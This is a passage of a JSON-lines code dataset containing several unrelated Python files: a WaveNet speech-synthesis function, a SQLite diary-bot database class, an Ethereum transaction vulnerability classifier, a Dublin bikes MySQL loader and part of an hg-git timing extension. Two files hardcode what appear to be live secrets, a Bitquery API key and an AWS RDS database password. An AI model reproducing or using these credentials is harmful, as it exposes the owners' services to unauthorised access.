"selenium.webdriver.support.expected_conditions.text_to_be_present_in_element", "line_number": 42, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 42, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 42, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 42, "usage_type": "name"}, {"api_name": "selenium.common.exceptions.TimeoutException", "line_number": 44, "usage_type": "name"}, {"api_name": "selenium.common.exceptions.StaleElementReferenceException", "line_number": 46, "usage_type": "name"}]}
{"seq_id": "25969789511", "text": "import numpy as np\nfrom tqdm.notebook import tqdm\nimport torchaudio\nimport torch\nimport torch.nn.functional as F\n\n@torch.no_grad()\ndef synthesize(transcripts, waveform_sizes, model, tokenizer, device, seed=None, temperature=1.0):\n    T = max(waveform_sizes)\n    #Tokenize the transcript with the BERT tokenizer\n    with torch.no_grad():\n        model.eval()\n        tokens = tokenizer(transcripts, return_attention_mask=False, return_token_type_ids=False, return_tensors='pt', padding=True)['input_ids'].to(device)\n\n        #Feed into sentence embedding class\n        gc_embed, lc_embed = model.sentence_embedding(tokens)\n\n        #Interpolate the locally conditioned signal from BERT so it fits with the waveform size and then trim the same portion of the signal as for the waveform.\n        lc_embed = F.interpolate(lc_embed, size=T)\n        lc_embed = F.pad(lc_embed, (model.receptive_field,0))\n\n        rec_fld = model.receptive_field + 1\n\n        if seed is not None:\n            seed_T = seed.size(1)\n        else:\n            seed_T = 0\n    \n        generated = (torch.ones((len(transcripts),rec_fld+T), device=device, dtype=torch.int64)*torchaudio.transforms.MuLawEncoding(model.bins)(torch.tensor(0.0)).item())\n        if seed is not None:\n            generated[:, :seed_T] = seed\n        with tqdm(range(seed_T if seed_T is not None else 0,T)) as t_bar:\n            for n in t_bar:\n                predictions = model(generated[:,n:rec_fld+n], lc=lc_embed[:,:,n:rec_fld+n], gc=gc_embed)\n                predictions = torch.softmax(predictions/temperature, dim=1)\n                generated[:,n+rec_fld] = torch.multinomial(predictions.squeeze(), 1).squeeze()\n    generated = generated[:, rec_fld:]\n    return generated", "repo_name": "LouisThygesen/02466_fagprojekt_done", "sub_path": "WaveNetTTS/synthesize.py", "file_name": "synthesize.py", "file_ext": "py", "file_size_in_byte": 1727, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.no_grad", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.nn.functional.interpolate", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.nn.functional.pad", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.ones", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.int64", "line_number": 29, "usage_type": "attribute"}, {"api_name": "torchaudio.transforms.MuLawEncoding", "line_number": 29, "usage_type": "call"}, {"api_name": "torchaudio.transforms", "line_number": 29, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 29, "usage_type": "call"}, {"api_name": "tqdm.notebook.tqdm", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.softmax", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.multinomial", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 7, "usage_type": "call"}]}
{"seq_id": "22752535970", "text": "import sqlite3\n\n\nclass Database:\n    def __init__(self, db_file):\n        self.connection = sqlite3.connect(db_file)\n        self.cursor = self.connection.cursor()\n\n    def create_tables(self):\n        with self.connection:\n            users = self.cursor.execute(\n                \"\"\"CREATE TABLE IF NOT EXISTS users(\n                    user_id TEXT,\n                    info TEXT,\n                    nickname TEXT,\n                    ban TEXT,\n                    admin_type TEXT);\n                \"\"\"\n            )\n            hometask = self.cursor.execute(\n                \"\"\"CREATE TABLE IF NOT EXISTS hometask(\n                    date TEXT,\n                    subject TEXT,\n                    task TEXT,\n                    document TEXT);\n                \"\"\"\n            )\n            soc_rate = self.cursor.execute(\n                \"\"\"CREATE TABLE IF NOT EXISTS soc_rate(\n                    lastname TEXT,\n                    rating TEXT,\n                    history TEXT);\n                \"\"\"\n            )\n\n    def add_user(self, user_id, nickname):\n        with self.connection:\n            return self.cursor.execute(\n                \"INSERT INTO `users` (`user_id`, `info`, `nickname`) VALUES (?,?,?)\",\n                (user_id, \"Пусто\", nickname),\n            )\n\n    def user_exists(self, user_id):\n        with self.connection:\n            result = self.cursor.execute(\n                \"SELECT * FROM `users` WHERE `user_id` = ?\", (user_id,)\n            ).fetchall()\n            return bool(result)\n\n    def get_user(self, user_id):\n        with self.connection:\n            res = self.cursor.execute(\n                \"SELECT * FROM `users` WHERE `user_id` = ?\", (user_id,)\n            ).fetchone()\n            return res\n\n    def get_all_users(self):\n        with self.connection:\n            return self.cursor.execute(\"SELECT * FROM users\").fetchall()\n\n    def set_info(self, user_id, info):\n        with self.connection:\n            return self.cursor.execute(\n                \"UPDATE users SET info = ? WHERE user_id = ?\",\n                (\n                    info,\n                    user_id,\n                ),\n            )\n\n    def get_id_from_nick(self, nick):\n        with self.connection:\n            return self.cursor.execute(\n                \"SELECT user_id FROM users WHERE nickname = ?\", (nick,)\n            ).fetchone()\n\n    def get_id_from_lastname(self, lastname):\n        with self.connection:\n            for user in self.get_all_users():\n                if user[1].split()[1] == lastname:\n                    return user[0]\n\n    def add_task(self, date, subject, task, doc_path):\n        with self.connection:\n            docs = \"\"\n            for doc in doc_path:\n                docs += \"|\" + doc\n            return self.cursor.execute(\n                \"INSERT INTO hometask (date, subject, task, document) VALUES (?,?,?,?)\",\n                (date, subject, task, docs),\n            )\n\n    def get_date_tasks(self, date):\n        with self.connection:\n            return self.cursor.execute(\n                \"SELECT * FROM hometask WHERE date = ?\", (date,)\n            ).fetchall()\n\n    def del_task(self, date, subject):\n        with self.connection:\n            if subject == \"all\":\n                return self.cursor.execute(\n                    \"DELETE FROM hometask WHERE date = ?\", (date,)\n                )\n            return self.cursor.execute(\n                \"DELETE FROM hometask WHERE date = ? AND subject = ?\",\n                (\n                    date,\n                    subject,\n                ),\n            )\n\n    def get_all_dates(self):\n        with self.connection:\n            return self.cursor.execute(\"SELECT date FROM hometask\").fetchall()\n\n    def get_subject_files(self, date, subject):\n        with self.connection:\n            return self.cursor.execute(\n                \"SELECT document FROM hometask WHERE date = ? AND subject = ?\",\n                (date, subject),\n            ).fetchone()\n\n    def get_rate(self, lastname):\n        with self.connection:\n            return self.cursor.execute(\n                \"SELECT rating FROM soc_rate WHERE lastname = ?\", (lastname,)\n            ).fetchone()\n\n    def get_all_rates(self):\n        with self.connection:\n            return self.cursor.execute(\"SELECT * FROM soc_rate\").fetchall()\n\n    def add_rate(self, lastname):\n        with self.connection:\n            return self.cursor.execute(\n                \"INSERT INTO soc_rate (lastname, rating, history) VALUES (?,?,?)\",\n                (lastname, 0, \"\"),\n            )\n\n    def get_history(self, lastname):\n        with self.connection:\n            return self.cursor.execute(\n                \"SELECT history FROM soc_rate WHERE lastname = ?\", (lastname,)\n            ).fetchone()\n\n    def add_history(self, lastname, new_note):\n        with self.connection:\n            prev_history = self.get_history(lastname)[0]\n            new_history = prev_history + new_note + \"/\"\n            return self.cursor.execute(\n                \"UPDATE soc_rate SET history = ? WHERE lastname = ?\",\n                (\n                    new_history,\n                    lastname,\n                ),\n            )\n\n    def change_rate(self, lastname, rate, new_note):\n        with self.connection:\n            self.add_history(lastname, new_note)\n            prev_rate = self.get_rate(lastname)[0]\n            if self.get_rate(lastname)[0] == \"0\":\n                new_rate = int(rate)\n            else:\n                new_rate = int(prev_rate) + int(rate)\n            return self.cursor.execute(\n                \"UPDATE soc_rate SET rating = ? WHERE lastname = ?\",\n                (new_rate, lastname),\n            )\n\n    def ban(self, userid):\n        with self.connection:\n            return self.cursor.execute(\n                \"UPDATE users SET ban = 1 WHERE user_id = ?\", (userid,)\n            )\n\n    def unban(self, userid):\n        with self.connection:\n            return self.cursor.execute(\n                \"UPDATE users SET ban = 0 WHERE user_id = ?\", (userid,)\n            )\n", "repo_name": "OrbyDoll/Schooldiary", "sub_path": "dbshka.py", "file_name": "dbshka.py", "file_ext": "py", "file_size_in_byte": 6063, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sqlite3.connect", "line_number": 6, "usage_type": "call"}]}
{"seq_id": "73193820746", "text": "# -*- coding:utf-8 -*-\n__author__ = 'Randolph'\nimport requests\nrequests.adapters.DEFAULT_RETRIES =100\nimport os\nimport sys\nimport time\nimport logging\nimport pymongo\nimport json\nimport random\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nsys.path.append('../')\nlogging.getLogger('tensorflow').disabled = True\n\nimport tensorflow as tf\nimport json\nfrom utils import checkmate as cm\nfrom utils import data_helpers as dh\nfrom utils import param_parser as parser\nfrom sklearn.metrics import precision_score, recall_score, f1_score, roc_auc_score, average_precision_score\n\nargs = parser.parameter_parser()\nMODEL = dh.get_model_name()\nlogger = dh.logger_fn(\"tflog\", \"logs/Test-{0}.log\".format(time.time()))\n\nCPT_DIR = 'runs/' + MODEL + '/checkpoints/'\nBEST_CPT_DIR = 'runs/' + MODEL + '/bestcheckpoints/'\nSAVE_DIR = 'output/' + MODEL\n\n\ndef create_input_data(data: dict):\n    return zip(data['pad_seqs'], data['onehot_labels'], data['labels'])\n\ndef bitqueryAPICall(query: str,variables:str):\n    headers = {'X-API-KEY': 'BQYMlGZXUMMzcPCkoJ4Egn7aMVHOJuzu'}\n    request = requests.post('https://graphql.bitquery.io/',\n                            json={'query': query, 'variables': variables}, headers=headers)\n    if request.status_code == 200:\n        return request.json()\n    else:\n        raise Exception('Query failed and return code is {}.      {}'.format(request.status_code,query))\n\nquery = \"\"\"\nquery ($network: EthereumNetwork!, $hash: String!, $limit: Int!, $offset: Int!) {\n  ethereum(network: $network) {\n    smartContractCalls(\n      txHash: {is: $hash}\n      options: {limit: $limit, offset: $offset}\n    ) {\n      smartContract {\n        address {\n          address\n        }\n      }\n      smartContractMethod(smartContractMethod: {}) {\n        name\n      }\n      address: caller {\n        address\n      }\n    }\n  }\n}\n\n\"\"\"\n\n\n\ndef test_crnn(tx_hash):\n    client = pymongo.MongoClient(host='localhost',\n                                 port=27017,\n                                 #username='admin',\n                                 #password='123456'\n                                 )\n    db = client.get_database('geth')\n    tx = db.get_collection('transaction')\n    hs = db.get_collection('transaction')\n    def show(document):\n        for d in document:\n            print(d)\n    i = 0\n    with open('../data/test1.txt', 'a') as f:\n        f.truncate(0)\n    for tx in tx.find({\"tx_hash\":tx_hash}, {\"tx_trace\": 1, \"_id\": 0}):\n        i = i + 1\n        with open('../data/test1.txt', 'a') as f:\n            f.write(tx.get('tx_trace'))\n            f.write('\\n')\n        if (i == 2):\n            break\n    j = 0\n    with open('../data/tx_hash1.txt', 'a') as f:\n        f.truncate(0)\n    for hs in hs.find({\"tx_hash\":tx_hash}, {\"tx_hash\": 1, \"_id\": 0}):\n        j = j + 1\n        with open('../data/tx_hash1.txt', 'a') as f:\n            f.write(hs.get('tx_hash'))\n            f.write('\\n')\n        if (j == 2):\n            break\n\n\n\n    data_file = \"../data/test1.txt\"\n    label_file = \"../data/label1.txt\"\n\n\n    test_file = \"../data/test1.json\"\n\n    d_f = open(data_file, \"r\", encoding=\"utf-8\")\n    l_f = open(label_file, \"r\", encoding=\"utf-8\")\n\n    test_f = open(test_file, \"w\", encoding=\"utf-8\")\n    index = 0\n\n    while True:\n        data = d_f.readline()\n        label = l_f.readline()\n        dic = dict()\n        if data and label:\n            data_arr = data.strip().split(\" \")\n            label_arr = label.strip()[1:-1].split(\",\")\n            label_list = []\n            for i, l in enumerate(label_arr):\n                if l == '1':\n                    label_list.append(str(i))\n            dic[\"testid\"] = str(index)\n            dic[\"features_content\"] = data_arr\n            dic[\"labels_index\"] = label_list\n            dic[\"labels_num\"] = len(label_list)\n            json_str = json.dumps(dic)\n            #random_value = random.random()\n            test_f.write(json_str + \"\\n\")\n            index += 1\n        else:\n            break\n    test_f.close()\n    \"\"\"Test CRNN model.\"\"\"\n    # Print parameters used for the model\n    dh.tab_printer(args, logger)\n\n    # Load word2vec model\n    # word2idx, embedding_matrix = dh.load_word2vec_matrix(args.word2vec_file)\n\n    # custom\n    word2idx = dh.get_word_index(args.word_idx_file)\n    embedding_matrix = None\n\n    # Load data\n    logger.info(\"Loading data...\")\n    logger.info(\"Data processing...\")\n    test_data = dh.load_data_and_labels(args, \"../data/test1.json\", word2idx)\n\n    # Load crnn model\n    OPTION = dh._option(pattern=1)\n    if OPTION == 'B':\n        logger.info(\"Loading best model...\")\n        checkpoint_file = cm.get_best_checkpoint(BEST_CPT_DIR, select_maximum_value=True)\n    else:\n        logger.info(\"Loading latest model...\")\n        checkpoint_file = tf.train.latest_checkpoint(CPT_DIR)\n    logger.info(checkpoint_file)\n\n    graph = tf.Graph()\n    with graph.as_default():\n        session_conf = tf.ConfigProto(\n            allow_soft_placement=args.allow_soft_placement,\n            log_device_placement=args.log_device_placement)\n        session_conf.gpu_options.allow_growth = args.gpu_options_allow_growth\n        sess = tf.Session(config=session_conf)\n        with sess.as_default():\n            # Load the saved meta graph and restore variables\n            saver = tf.train.import_meta_graph(\"{0}.meta\".format(checkpoint_file))\n            saver.restore(sess, checkpoint_file)\n\n            # Get the placeholders from the graph by name\n            input_x = graph.get_operation_by_name(\"input_x\").outputs[0]\n            input_y = graph.get_operation_by_name(\"input_y\").outputs[0]\n            dropout_keep_prob = graph.get_operation_by_name(\"dropout_keep_prob\").outputs[0]\n            is_training = graph.get_operation_by_name(\"is_training\").outputs[0]\n\n            # Tensors we want to evaluate\n            scores = graph.get_operation_by_name(\"output/scores\").outputs[0]\n            loss = graph.get_operation_by_name(\"loss/loss\").outputs[0]\n\n            # Split the output nodes name by '|' if you have several output nodes\n            output_node_names = \"output/scores\"\n\n            # Save the .pb model file\n            output_graph_def = tf.graph_util.convert_variables_to_constants(sess, sess.graph_def,\n                                                                            output_node_names.split(\"|\"))\n            tf.train.write_graph(output_graph_def, \"graph\", \"graph-crnn-{0}.pb\".format(MODEL), as_text=False)\n\n            # Generate batches for one epoch\n            batches = dh.batch_iter(list(create_input_data(test_data)), args.batch_size, 1, shuffle=False)\n\n            # Collect the predictions here\n            test_counter, test_loss = 0, 0.0\n            test_pre_tk = [0.0] * args.topK\n            test_rec_tk = [0.0] * args.topK\n            test_F1_tk = [0.0] * args.topK\n\n            # Collect the predictions here\n            true_labels = []\n            predicted_labels = []\n            predicted_scores = []\n            max_score=[]\n\n            # Collect for calculating metrics\n            true_onehot_labels = []\n            predicted_onehot_scores = []\n            predicted_onehot_labels_ts = []\n            predicted_onehot_labels_tk = [[] for _ in range(args.topK)]\n\n            for batch_test in batches:\n                x, y_onehot, y = zip(*batch_test)\n                feed_dict = {\n                    input_x: x,\n                    input_y: y_onehot,\n                    dropout_keep_prob: 1.0,\n                    is_training: False\n                }\n\n                batch_scores, cur_loss = sess.run([scores, loss], feed_dict)\n\n                # Prepare for calculating metrics\n                for i in y_onehot:\n                    true_onehot_labels.append(i)\n                for j in batch_scores:\n                    predicted_onehot_scores.append(j)\n\n                # Get the predicted labels by threshold\n                batch_predicted_labels_ts, batch_predicted_scores_ts = \\\n                    dh.get_label_threshold(scores=batch_scores, threshold=args.threshold)\n\n                # Add results to collection\n                for i in y:\n                    true_labels.append(i)\n                for j in batch_predicted_labels_ts:\n                    predicted_labels.append(j)\n                for k in batch_predicted_scores_ts:\n                    predicted_scores.append(k)\n                    max_score.append(max(k))\n                    #for l in k :\n                        #if l > 0.5:\n                            #max_score.append(l)\n                #print(max_score)\n                #print(len(max_score))\n                plt.hist(max_score, 40)\n                plt.xlabel('Probability')\n                plt.ylabel('Frequency')\n                plt.title(\"Distribution of the maximum probability of the five labels\")\n                plt.axis([0, 2, 0, 100])\n                #plt.show()\n\n                # Get onehot predictions by threshold\n                batch_predicted_onehot_labels_ts = \\\n                    dh.get_onehot_label_threshold(scores=batch_scores, threshold=args.threshold)\n                for i in batch_predicted_onehot_labels_ts:\n                    predicted_onehot_labels_ts.append(i)\n\n                # Get onehot predictions by topK\n                for top_num in range(args.topK):\n                    batch_predicted_onehot_labels_tk = dh.get_onehot_label_topk(scores=batch_scores, top_num=top_num+1)\n\n                    for i in batch_predicted_onehot_labels_tk:\n                        predicted_onehot_labels_tk[top_num].append(i)\n\n                test_loss = test_loss + cur_loss\n                test_counter = test_counter + 1\n\n            # Calculate Precision & Recall & F1\n            #test_pre_ts = precision_score(y_true=np.array(true_onehot_labels),\n                                          #y_pred=np.array(predicted_onehot_labels_ts), average='micro')\n            #test_rec_ts = recall_score(y_true=np.array(true_onehot_labels),\n                                       #y_pred=np.array(predicted_onehot_labels_ts), average='micro')\n            #test_F1_ts = f1_score(y_true=np.array(true_onehot_labels),\n                                  #y_pred=np.array(predicted_onehot_labels_ts), average='micro')\n\n            #for top_num in range(args.topK):\n                #test_pre_tk[top_num] = precision_score(y_true=np.array(true_onehot_labels),\n                                                       #y_pred=np.array(predicted_onehot_labels_tk[top_num]),\n                                                       #average='micro')\n                #test_rec_tk[top_num] = recall_score(y_true=np.array(true_onehot_labels),\n                                                    #y_pred=np.array(predicted_onehot_labels_tk[top_num]),\n                                                    #average='micro')\n                #test_F1_tk[top_num] = f1_score(y_true=np.array(true_onehot_labels),\n                                               #y_pred=np.array(predicted_onehot_labels_tk[top_num]),\n                                               #average='micro')\n\n            # Calculate the average AUC\n            #test_auc = roc_auc_score(y_true=np.array(true_onehot_labels),\n                                                       # y_score=np.array(predicted_onehot_scores), average='micro')\n\n            # Calculate the average PR\n            #test_prc = average_precision_score(y_true=np.array(true_onehot_labels),\n                                               #y_score=np.array(predicted_onehot_scores), average=\"micro\")\n            #test_loss = float(test_loss / test_counter)\n\n            #logger.info(\"All Test Dataset: Loss {0:g} | AUC {1:g} | AUPRC {2:g}\"\n                        #.format(test_loss, test_auc, test_prc))\n\n            # Predict by threshold\n            #logger.info(\"Predict by threshold: Precision {0:g}, Recall {1:g}, F1 {2:g}\"\n                        #.format(test_pre_ts, test_rec_ts, test_F1_ts))\n\n            # Predict by topK\n            #logger.info(\"Predict by topK:\")\n            #for top_num in range(args.topK):\n                #logger.info(\"Top{0}: Precision {1:g}, Recall {2:g}, F1 {3:g}\"\n                            #.format(top_num + 1, test_pre_tk[top_num], test_rec_tk[top_num], test_F1_tk[top_num]))\n\n            # Save the prediction result\n            if not os.path.exists(SAVE_DIR):\n                os.makedirs(SAVE_DIR)\n            dh.create_prediction_file(output_file=SAVE_DIR + \"/predictions.json\", data_id=test_data['id'],\n                                      true_labels=true_labels, predict_labels=predicted_labels,\n                                      predict_scores=predicted_scores)\n\n    logger.info(\"All Done.\")\n    i=0\n    vul=[]\n    labell=[]\n    for lis in predicted_scores:\n       i=i+1\n       if max(lis)>0.5:\n           #print(sum(lis))\n           #print(lis)\n           labell.append(lis.index(max(lis)))\n           vul.append(i)\n\n    #print(vul)\n    #print(len(vul))\n    count=0\n    index=-1\n    mingcheng=[]\n    txhash=[]\n    for lab in labell:\n        if(lab==0):\n            mingcheng.append(\"Incorrect Check for Authorization\")\n        if(lab==1):\n            mingcheng.append(\"No Check after Contract Invocation\")\n        if (lab == 2):\n            mingcheng.append(\"Missing the Transfer Event \")\n        if (lab == 3):\n            mingcheng.append(\"Strict Check for Balance \")\n        if (lab == 4):\n            mingcheng.append(\"Timestamp Dependency & Block Number Dependency\")\n\n    file_object1 = open(\"../data/tx_hash1.txt\", 'r')\n    try:\n        with open(\"../data/result.txt\", 'a') as f:\n            f.truncate(0)\n        while True:\n            line = file_object1.readline()\n            count=count+1\n            if (line and vul.__contains__(count)):\n                with open(\"../data/result.txt\", 'a') as f:\n                    index=index+1\n                    f.write(mingcheng[index]+',')\n                    f.write(line)\n                    txhash.append(line)\n            elif (line==\"\"):\n                break\n            else:\n                continue\n    finally:\n        file_object1.close()\n        #print(count)\n    #print(len(vul))\n    dic = dict()\n    dic[\"TXHash\"] = tx_hash\n    if(index==-1):\n        dic[\"Vulnerability\"] = \"No vulnerability!!!\";\n    else:\n        dic[\"Vulnerability\"] = mingcheng[index];\n    variables = {\n            \"limit\": 10,\n            \"offset\": 0,\n            \"network\": \"ethereum\",\n            \"hash\": tx_hash\n        }\n    address=[]\n    result = bitqueryAPICall(query,variables)\n    # inflow = result['data']['bitcoin']['inputs'][0]['value']\n    # outflow = result['data']['bitcoin']['outputs'][0]['value']\n    # balance = outflow-inflow\n    # print (\"The balance of the Bitcoin wallet is {}\".format(balance))\n    print(result)\n    if result['data']['ethereum']['smartContractCalls']==[]:\n        dic[\"ContractAddress\"] =\"\"\n    else:\n        result['data']['ethereum']['smartContractCalls'][0]['address']['address'] = \"\"\n        for name in result['data']['ethereum']['smartContractCalls']:\n            if name['address']['address'] == \"\":\n                address.append(name['smartContract']['address']['address'])\n            else:\n                address.append(name['address']['address'])\n                address.append(name['smartContract']['address']['address'])\n\n\n    #print(type(result))\n    dic[\"ContractAddress\"]=list(set(address))\n    #logger.info(json.dumps(dic))\n    return json.dumps(dic)\n\n\n\n#if __name__ == '__main__':\n\n    #test_crnn()\n", "repo_name": "Silence1017/EtherWatchdog_Server", "sub_path": "Multi-Label-Text-Classification-charlotteku/CRNN/test_tx.py", "file_name": "test_tx.py", "file_ext": "py", "file_size_in_byte": 15476, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.adapters", "line_number": 4, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 15, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 16, "usage_type": "call"}, {"api_name": "utils.param_parser.parameter_parser", "line_number": 25, "usage_type": "call"}, {"api_name": "utils.param_parser", "line_number": 25, "usage_type": "name"}, {"api_name": "utils.data_helpers.get_model_name", "line_number": 26, "usage_type": "call"}, {"api_name": "utils.data_helpers", "line_number": 26, "usage_type": "name"}, {"api_name": "utils.data_helpers.logger_fn", "line_number": 27, "usage_type": "call"}, {"api_name": "utils.data_helpers", "line_number": 27, "usage_type": "name"}, {"api_name": "time.time", "line_number": 27, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 39, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 73, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 134, "usage_type": "call"}, {"api_name": "utils.data_helpers.tab_printer", "line_number": 143, "usage_type": "call"}, {"api_name": "utils.data_helpers", "line_number": 143, "usage_type": "name"}, {"api_name": "utils.data_helpers.get_word_index", "line_number": 149, "usage_type": "call"}, {"api_name": "utils.data_helpers", "line_number": 149, "usage_type": "name"}, {"api_name": "utils.data_helpers.load_data_and_labels", "line_number": 155, "usage_type": "call"}, {"api_name": "utils.data_helpers", "line_number": 155, "usage_type": "name"}, {"api_name": "utils.data_helpers._option", "line_number": 158, "usage_type": "call"}, {"api_name": "utils.data_helpers", "line_number": 158, "usage_type": "name"}, {"api_name": "utils.checkmate.get_best_checkpoint", "line_number": 161, "usage_type": "call"}, {"api_name": "utils.checkmate", "line_number": 161, "usage_type": "name"}, {"api_name": "tensorflow.train.latest_checkpoint", "line_number": 164, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 164, "usage_type": "attribute"}, {"api_name": "tensorflow.Graph", "line_number": 167, "usage_type": "call"}, {"api_name": "tensorflow.ConfigProto", "line_number": 169, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 173, "usage_type": "call"}, {"api_name": "tensorflow.train.import_meta_graph", "line_number": 176, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 176, "usage_type": "attribute"}, {"api_name": "tensorflow.graph_util.convert_variables_to_constants", "line_number": 193, "usage_type": "call"}, {"api_name": "tensorflow.graph_util", "line_number": 193, "usage_type": "attribute"}, {"api_name": "tensorflow.train.write_graph", "line_number": 195, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 195, "usage_type": "attribute"}, {"api_name": "utils.data_helpers.batch_iter", "line_number": 198, "usage_type": "call"}, {"api_name": "utils.data_helpers", "line_number": 198, "usage_type": "name"}, {"api_name": "utils.data_helpers.get_label_threshold", "line_number": 237, "usage_type": "call"}, {"api_name": "utils.data_helpers", "line_number": 237, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 252, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 252, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 253, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 253, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 254, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 254, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 255, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 255, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 256, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 256, "usage_type": "name"}, {"api_name": "utils.data_helpers.get_onehot_label_threshold", "line_number": 261, "usage_type": "call"}, {"api_name": "utils.data_helpers", "line_number": 261, "usage_type": "name"}, {"api_name": "utils.data_helpers.get_onehot_label_topk", "line_number": 267, "usage_type": "call"}, {"api_name": "utils.data_helpers", "line_number": 267, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 317, "usage_type": "call"}, {"api_name": "os.path", "line_number": 317, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 318, "usage_type": "call"}, {"api_name": "utils.data_helpers.create_prediction_file", "line_number": 319, "usage_type": "call"}, {"api_name": "utils.data_helpers", "line_number": 319, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 408, "usage_type": "call"}]}
{"seq_id": "22337439296", "text": "import mysql.connector\nimport json\nimport os\nimport sys\n\nfile = os.path.join(sys.path[0], 'dublin.json')\n\n# read json file\nwith open(file, 'r') as f:\n    static_dict = json.load(f)\n\n# create array of tuples containing information for each station\nstation_info = []\nfor station in static_dict: \n    t = (station[\"number\"], station[\"name\"], station[\"address\"],station[\"latitude\"], station[\"longitude\"])\n    station_info.append(t)\n\n# connect to the database\ntry:\n    mydb = mysql.connector.connect(\n        host=\"dublin-bikes.cy2mnwcfkfbs.eu-west-1.rds.amazonaws.com\",\n        user=\"admin\",\n        passwd=\"fmRdzKkP6mTtwEEsCByh\",\n        database=\"dublinbikes\"\n    )\n\nexcept mysql.connector.Error as e:\n    print(\"Error Code:\", e)\n    exit(1)\n    \n\nmycursor = mydb.cursor()\n\n# insert the array of tuples into the table\nsql = \"INSERT INTO staticinfo (number, name, address, latitude, longitude) VALUES (%s, %s, %s, %s, %s)\"\n\n# make changes to the server\n\ntry: \n    mycursor.executemany(sql, station_info)\n    mydb.commit()\n    \nexcept mysql.connector.Error as err:\n    print(\"Error:\", err)\n    exit(1)", "repo_name": "hbarrett100/dublin-bikes-web-app", "sub_path": "Static Data/staticdata.py", "file_name": "staticdata.py", "file_ext": "py", "file_size_in_byte": 1097, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.join", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "sys.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 10, "usage_type": "call"}, {"api_name": "mysql.connector.connector.connect", "line_number": 20, "usage_type": "call"}, {"api_name": "mysql.connector.connector", "line_number": 20, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 20, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 27, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 27, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 43, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 43, "usage_type": "name"}]}
{"seq_id": "24838776141", "text": "# hggitperf.py - performance test routines\n'''helper extension to measure performance of hg-git operations\n\nThis requires both the hggit and hggitperf extensions to be enabled and\navailable.\n'''\n\nfrom mercurial import cmdutil\nimport time, os, tempfile\nimport functools\n\ncmdtable = {}\ncommand = cmdutil.command(cmdtable)\n\n# the timer functions are copied from mercurial/contrib/perf.py\ndef gettimer(ui, opts=None):\n    \"\"\"return a timer function and formatter: (timer, formatter)\n\n    This functions exist to gather the creation of formatter in a single\n    place instead of duplicating it in all performance command.\"\"\"\n\n    # enforce an idle period before execution to counteract power management\n    time.sleep(ui.configint(\"perf\", \"presleep\", 1))\n\n    if opts is None:\n        opts = {}\n    # redirect all to stderr\n    ui = ui.copy()\n    ui.fout = ui.ferr\n    # get a formatter\n    fm = ui.formatter('perf', opts)\n    return functools.partial(_timer, fm), fm\n\ndef _timer(fm, func, title=None):\n    results = []\n    begin = time.time()\n    count = 0\n    while True:\n        ostart = os.times()\n        cstart = time.time()\n        r = func()\n        cstop = time.time()\n        ostop = os.times()\n        count += 1\n        a, b = ostart, ostop\n        results.append((cstop - cstart, b[0] - a[0], b[1]-a[1]))\n        if cstop - begin > 3 and count >= 100:\n            break\n        if cstop - begin > 10 and count >= 3:\n            break\n\n    fm.startitem()\n\n    if title:\n        fm.write('title', '! %s\\n', title)\n    if r:\n        fm.write('result', '! result: %s\\n', r)\n    m = min(results)\n    fm.plain('!')\n    fm.write('wall', ' wall %f', m[0])\n    fm.write('comb', ' comb %f', m[1] + m[2])\n    fm.write('user', ' user %f', m[1])\n    fm.write('sys',  ' sys %f', m[2])\n    fm.write('count',  ' 